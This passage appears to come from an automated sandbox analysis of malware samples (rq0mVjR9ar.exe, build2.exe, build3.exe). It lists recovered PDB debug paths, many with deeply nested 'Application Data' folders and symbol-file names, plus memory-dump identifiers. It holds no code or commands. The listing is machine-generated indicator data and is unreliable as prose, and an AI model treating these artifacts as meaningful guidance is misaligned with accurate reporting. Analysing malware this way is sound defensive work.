Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\k5 source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490372024.00000000033FB000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442438205.000000000339A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442167845.000000000338A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489312969.00000000033F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\K source: rq0mVjR9ar.exe, 00000006.00000003.2540942065.000000000349A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2540164201.0000000003495000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2609454306.00000000036C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2523089778.00000000036F9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522901917.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2521600509.00000000036D9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512458072.00000000036B1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512593109.00000000036D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\q source: rq0mVjR9ar.exe, 00000006.00000003.2582692629.000000000318D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574853788.0000000003192000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574509075.0000000003187000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583948558.0000000003198000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000009.00000002.2182022207.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000009.00000000.2178413579.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 0000000A.00000000.2180367922.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ory\ source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\y\ source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575677346.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575470738.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576886859.00000000036F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\db\H source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\21\" source: rq0mVjR9ar.exe, 00000006.00000003.2540942065.000000000349A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2540164201.0000000003495000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\bx\ source: rq0mVjR9ar.exe, 00000006.00000003.2602741221.0000000003793000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2606961290.00000000037DA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603069159.000000000379A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000D.00000000.2222553378.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000D.00000002.2319042140.0000000000401000.00000020.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2603881098.00000000038CA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603013015.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003829000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576930797.000000000336E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574406401.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583556652.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003829000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583982466.000000000382A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583009050.0000000003363000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2588209575.000000000388D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\j source: rq0mVjR9ar.exe, 00000006.00000003.2603783323.00000000034BA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2604350418.00000000034CB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: rq0mVjR9ar.exe, 00000006.00000003.2490372024.0000000003403000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489732570.0000000003400000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489312969.00000000033F7000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490481172.000000000340A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\h source: rq0mVjR9ar.exe, 00000006.00000003.2603679756.0000000003398000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003829000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583556652.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003829000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583982466.000000000382A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\story\ source: rq0mVjR9ar.exe, 00000006.00000003.2612044601.0000000003859000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2608757399.0000000003839000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2609220358.000000000384A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\3o source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575677346.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575470738.00000000036C8000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2576886859.00000000036F0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: rq0mVjR9ar.exe, 00000006.00000003.2523440020.000000000348F000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510778480.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2606911101.00000000038DA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603881098.00000000038CA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2603013015.00000000038BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2541058577.0000000003738000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2539227981.0000000003738000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2490317723.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489664444.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489842001.00000000033AC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512532428.00000000033B7000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510402599.000000000339E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\c source: rq0mVjR9ar.exe, 00000006.00000003.2490317723.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\? source: rq0mVjR9ar.exe, 00000006.00000003.2489491187.0000000003169000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489623669.000000000316C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511563648.0000000003187000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511354031.000000000316C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512695111.0000000003192000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511154019.0000000003169000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2490514193.000000000318A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2612044601.0000000003859000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2608757399.0000000003839000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2609220358.000000000384A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2606847048.0000000003835000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\W source: rq0mVjR9ar.exe, 00000006.00000003.2589165901.000000000339E000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582817226.0000000003377000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583041856.000000000338E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\AC\ source: rq0mVjR9ar.exe, 00000006.00000003.2489978712.00000000030F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\State\ source: rq0mVjR9ar.exe, 00000006.00000003.2587974255.00000000036D9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2593094143.00000000036E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\* source: rq0mVjR9ar.exe, 00000006.00000003.2541058577.0000000003738000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2539227981.0000000003738000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\s source: rq0mVjR9ar.exe, 00000006.00000003.2603783323.0000000003495000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2512458072.00000000036B1000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512593109.00000000036D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\\c source: rq0mVjR9ar.exe, 00000006.00000003.2603299217.0000000003187000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2592996388.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588879640.0000000003779000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\pX source: rq0mVjR9ar.exe, 00000006.00000003.2606686813.0000000003768000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2602741221.0000000003768000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\! source: rq0mVjR9ar.exe, 00000006.00000003.2539864491.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541601382.00000000036BC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\bgjs* source: rq0mVjR9ar.exe, 00000006.00000003.2523089778.00000000036F9000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2522901917.00000000036E0000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2521600509.00000000036D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2512374349.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2510630150.0000000003367000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2512726674.0000000003394000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\i~>'$ source: rq0mVjR9ar.exe, 00000006.00000003.2582305448.00000000037EA000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583406136.00000000037F1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\P source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003799000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2541058577.00000000037CC000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575989541.0000000003792000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575720843.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\& source: rq0mVjR9ar.exe, 00000006.00000003.2523440020.000000000348F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ation Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\Wk source: rq0mVjR9ar.exe, 00000006.00000003.2591205536.0000000003177000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error.bgjs source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442044485.000000000337B000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442506929.0000000003429000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442438205.000000000339A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2442167845.000000000338A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2582305448.000000000383D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588209575.0000000003819000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2588577508.000000000382A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\` source: rq0mVjR9ar.exe, 00000006.00000003.2581264527.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2582553222.000000000379C000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583746556.000000000379C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: rq0mVjR9ar.exe, 00000006.00000003.2606686813.0000000003768000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2602741221.0000000003768000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000009.00000002.2182022207.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000009.00000000.2178413579.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 0000000A.00000000.2180367922.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: rq0mVjR9ar.exe, 00000006.00000003.2442300607.0000000003361000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2489415564.0000000003363000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\* source: rq0mVjR9ar.exe, 00000006.00000003.2589912658.0000000003734000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2587974255.0000000003734000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2593399957.0000000003739000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\\t source: rq0mVjR9ar.exe, 00000006.00000003.2582692629.000000000318D000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574853788.0000000003192000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2574509075.0000000003187000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2583948558.0000000003198000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\00\nee source: rq0mVjR9ar.exe, 00000006.00000003.2609454306.00000000036C8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\ source: rq0mVjR9ar.exe, 00000006.00000003.2523549479.0000000003141000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2511797013.0000000003136000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: rq0mVjR9ar.exe, 00000006.00000003.2441757151.000000000336A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Segmentation Platform\.pdb\ate\n source: rq0mVjR9ar.exe, 00000006.00000003.2609040229.0000000003700000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: rq0mVjR9ar.exe, 00000006.00000003.2490317723.000000000349F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: rq0mVjR9ar.exe, 00000006.00000003.2588577508.00000000038B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\e\ source: rq0mVjR9ar.exe, 00000006.00000003.2576463436.0000000003799000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575989541.0000000003792000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2575720843.000000000377A000.00000004.00000020.00020000.00000000.sdmp, rq0mVjR9ar.exe, 00000006.00000003.2573873017.0000000003729000.00000004.00000020.00020000.00000000.sdmp
